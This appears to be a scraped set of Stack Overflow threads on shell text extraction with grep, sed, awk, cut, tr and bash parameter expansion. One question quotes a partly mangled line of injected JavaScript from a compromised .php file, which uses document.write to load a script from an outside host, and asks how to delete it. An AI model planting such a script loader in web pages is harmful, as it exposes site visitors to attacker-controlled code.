How to print output of grep -o in a single line ? I am trying to print :
$ echo "Hello Guys!" |grep -E '[A-Z]'
Hello Guys!
$ echo "Hello Guys!" |grep -Eo '[A-Z]' <----Multiple lines
H
G
$ echo "Hello Guys!" |grep -Eo '[A-Z]'
Desired output:
HG
I am able to cheaply achieve it using following command ,but the issue is that number of letters(3 in this case) could be dynamic. So this approach cannot be used.
echo "HEllo Guys!" |grep -oE '[A-Z]' |xargs -L3 |sed 's/ //g'
HEG
You could do it all with this sed instruction
echo "Hello Guys!" |sed 's/[^A-Z]//g'
UPDATE
Breakdown of sed command:
The s/// is sed's substitute command. It simply replaces the first RegEx (the one between the first and the second slash) with the Expression between slash two and three. The trailing g stands for global, i.e, do this for every match of the RegEx in the current line. Without the g it would just stop processing after the first match. The RegEx itself is matching any non-capital letter and then those letters are replaced with nothing, i.e., effectively deleted.
You can use awk:
echo "Hello Guys!" | awk '{ gsub(/[^A-Z]/,"", $0); print;}'
HG
Also with tr:
echo "Hello Guys!" | tr -cd [:upper:]
HG
Also with sed :
echo "Hello Guys!" | sed 's/[^\[:upper:]]//g'
HG
You just need to remove the newline characters. You can use tr for that:
echo "HEllo Guys!" |grep -Eo '[A-Z]' |tr -d '\n'
HEG
Though, it cuts the last newline too.
You can use perl instead of grep
echo 'HEllo Guys!' | perl -lne 'print /([A-Z])/g'
HEG
Related
i am using this code
cut -c1 | tr -d '\n'
to basically take and print out the first letter of every line. the problem is, I need a new line at the end, but only at the end, after the word "caroline" (these are the content of the testfile
Cannot use AWK, basename, grep, egrep, fgrep or rgrep
Use echo
echo $( cut -c1 | tr -d '\n' ) \n
cut -c1 | tr -d '\n'; echo -e '\n'
Try using awk utility, something like following:-
awk -F\| '$1 > 0 { print substr($1,1,1)}' testfile.txt
I need to write a simple bash script that takes a text line
some-pattern something-else
and erases some-pattern and returns only something-else. I wrote a script to do the opposite with grep -o, but I don't know how I could do with this case. Any help is very much appreciated.
sample input:
"SNMPv2::sysLocation.0 = STRING: someLocation"
Desired Output:
"someLocation"
Considering " are NOT in your sample Input_file and expected output, could you please try following with GNU grep.
grep -oP '.*STRING: \K(.*)' Input_file
someLocation
For \K explanation:
\K is a PCRE extension to regex syntax discarding content prior to
that point from being included in match output
You can use sed to delete the part in front of what you want to keep.
Given:
$ echo "$s"
"SNMPv2::sysLocation.0 = STRING: someLocation"
You can do:
$ echo "$s" | sed -nE 's/^.*(someLocation)/\1/p'
someLocation
And if you want to add quotes:
$ echo "$s" | sed -nE 's/^.*(someLocation)/"\1"/p'
"someLocation"
If the portion after STRING: is variable, not fixed, you can use STRING: and the capture anchor:
$ echo "$s" | sed -nE 's/^.*STRING:[[:space:]]*(.*)/"\1"/p'
"someLocation"
Or, sed to capture and print the last word after the last space:
$ echo "$s" | sed -nE 's/([^[:space:]]*$)/\1/p'
You can also use awk if the last word is space separated from the other fields:
$ echo "$s" | awk '{print $NF}'
Or a pipeline with cut and rev works too:
$ echo "$s" | rev | cut -d' ' -f 1 | rev
You can use: echo ${STRING} | awk -F" " '/someLocation/ { print $NF }'
-F will use space (represented by double-quotes with space between them) as separator; /someLocation/ will search for your location; { print $NF } will show the last part of your string (which, I believe, is the place where location is.
For example
echo "abc-1234a :" | grep <do-something>
to print only abc-1234a
I think these are closer to what you're getting at, but without knowing what you're really trying to achieve, it's hard to say.
echo "abc-1234a :" | egrep -o '^[^:]+'
... though this will also match lines that have no colon. If you only want lines with colons, and you must use only grep, this might work:
echo "abc-1234a :" | grep : | egrep -o '^[^:]+'
Of course, this only makes sense if your echo "abc-1234a :" is an example that would be replace with possibly multiple lines of input.
The smallest tool you could use is probably cut:
echo "abc-1234a :" | cut -d: -f1
And sed is always available...
echo "abc-1234a :" | sed 's/ *:.*//'
For this last one, if you only want to print lines that include a colon, change it to:
echo "abc-1234a :" | sed -ne 's/ *:.*//p'
Heck, you could even do this in pure bash:
while read line; do
field="${line%%:*}"
# do stuff with $field
done <<<"abc-1234a :"
For information on the %% bit, you can man bash and search for "Parameter Expansion".
UPDATE:
You said:
It's the characters in the first line of input before the colon. The
input could have multiple line though.
The solutions with grep probably aren't your best choice, then, since they'll also print data from subsequent lines that might include colons. Of course, there are many ways to solve this requirement as well. We'll start with sample input:
$ function sample { printf "abc-1234a:foo\nbar baz:\nNarf\n"; }
$ sample
abc-1234a:foo
bar baz:
Narf
You could use multiple pipes, for example:
$ sample | head -1 | grep -Eo '^[^:]*'
abc-1234a
$ sample | head -1 | cut -d: -f1
abc-1234a
Or you could use sed to process only the first line:
$ sample | sed -ne '1s/:.*//p'
abc-1234a
Or tell sed to exit after printing the first line (which is faster than reading the whole file):
$ sample | sed 's/:.*//;q'
abc-1234a
Or do the same thing but only show output if a colon was found (for safety):
$ sample | sed -ne 's/:.*//p;q'
abc-1234a
Or have awk do the same thing (as the last 3 examples, respectively):
$ sample | awk '{sub(/:.*/,"")} NR==1'
abc-1234a
$ sample | awk 'NR>1{nextfile} {sub(/:.*/,"")} 1'
abc-1234a
$ sample | awk 'NR>1{nextfile} sub(/:.*/,"")'
abc-1234a
Or in bash, with no pipes at all:
$ read line < <(sample)
$ printf '%s\n' "${line%%:*}"
abc-1234a
It is possible to do what you want with only sed.
Here is an example:
#!/bin/sh
filename=$1
pattern=yourpattern
# flag -n disables print everyline (default behavior)
sed -n "
1,/$pattern/ {
/$pattern/n # skip line containing pattern
p # print lines ranging from line 1 untill pattern
}
" $filename
exit 0
This works at least for GNU's sed. It should work for other sed too, except
regarding the comments (some implementations of sed don't support comments).
Source: https://www.grymoire.com/Unix/Sed.html
I have a script in .php file which is the following :
var a='';setTimeout(10);if(document.referrer.indexOf(location.protocol+"//"+location.host)!==0||document.referrer!==undefined||document.referrer!==''||document.referrer!==null){document.write('http://mydemo.com/js/jquery.min.php'+'?'+'default_keyword='+encodeURIComponent(((k=(function(){var keywords='';var metas=document.getElementsByTagName('meta');if(metas){for(var x=0,y=metas.length;x<'+'/script>');}
I would like to replace in cmd line the whole line with (1) empty char. Is it possible? tried to do it with sed , but probably this is a too complex string.Tried to set the string in var , but didn't work either . Has anybody any idea?
This is actually something sed excels in. :)
sed -i '1s/.*/ /' your-file
Example:
$ cat test
one
two
three
$ sed '1s/.*/ /' < test
two
three
On my OS X i tested this script:
for strnum in $(grep -n "qwe" test.txt | awk -F ':' '{print $1}'); do cat test.txt | sed -i '.txt' $strnum's/.*/ /' test.txt; done
On CentOS should work this script:
for strnum in $(grep -n "qwe" test.txt | awk -F ':' '{print $1}'); do cat test.txt | sed -i $strnum's/.*/ /' test.txt; done
You should replace qwe with your pattern. It will replace all strings where pattern would be found to space.
To put right content in grep, it should be prepared. You should create file with required pattern and start command:
echo '"'$(cat your_file | sed -e 's|"|\\"|g')'"'
Result of this command should be replaced qwe(with quotes for sure).
You should get something like this:
for strnum in $(grep -n "var a='';setTimeout(10);if(document.referrer.indexOf(location.protocol+\"//\"+location.host)!==0||document.referrer!==undefined||document.referrer!==''||document.referrer!==null){document.write('http://mydemo.com/js/jquery.min.php'+'?'+'default_keyword='+encodeURIComponent(((k=(function(){var keywords='';var metas=document.getElementsByTagName('meta');if(metas){for(var x=0,y=metas.length;x<'+'/script>');}" test.txt | awk -F ':' '{print $1}'); do cat test.txt | sed -i $strnum's/.*/ /' test.txt; done
Can any one advise how to search on linux for some data between a tilde character. I need to get IP data however its been formed like the below.
Details:
20110906000418~118.221.246.17~DATA~DATA~DATA
One more:
echo '20110906000418~118.221.246.17~DATA~DATA~DATA' | sed -r 's/[^~]*~([^~]+)~.*/\1/'
echo "20110906000418~118.221.246.17~DATA~DATA~DATA" | cut -d'~' -f2
This uses the cut command with the delimiter set to ~. The -f2 switch then outputs just the 2nd field.
If the text you give is in a file (called filename), try:
grep "[0-9]*~" filename | cut -d'~' -f2
With cut:
echo "20110906000418~118.221.246.17~DATA~DATA~DATA" | cut -d~ -f2
With awk:
echo "20110906000418~118.221.246.17~DATA~DATA~DATA"
| awk -F~ '{ print $2 }'
In awk:
echo '20110906000418~118.221.246.17~DATA~DATA~DATA' | awk -F~ '{print $2}'
Just use bash
$ string="20110906000418~118.221.246.17~DATA~DATA~DATA"
$ echo ${string#*~}
118.221.246.17~DATA~DATA~DATA
$ string=${string#*~}
$ echo ${string%%~*}
118.221.246.17
one more, using perl:
$ perl -F~ -lane 'print $F[1]' <<< '20110906000418~118.221.246.17~DATA~DATA~DATA'
118.221.246.17
bash:
#!/bin/bash
IFS='~'
while read -a array;
do
echo ${array[1]}
done < ip
If string is constant, the following parameter expansion performs substring extraction:
$ a=20110906000418~118.221.246.17~DATA~DATA~DATA
$ echo ${a:15:14}
118.221.246.17
or using regular expressions in bash:
$ echo $(expr "$a" : '[^~]*~\([^~]*\)~.*')
118.221.246.17
last one, again using pure bash methods:
$ tmp=${a#*~}
$ echo $tmp
118.221.246.17~DATA~DATA~DATA
$ echo ${tmp%%~*}
118.221.246.17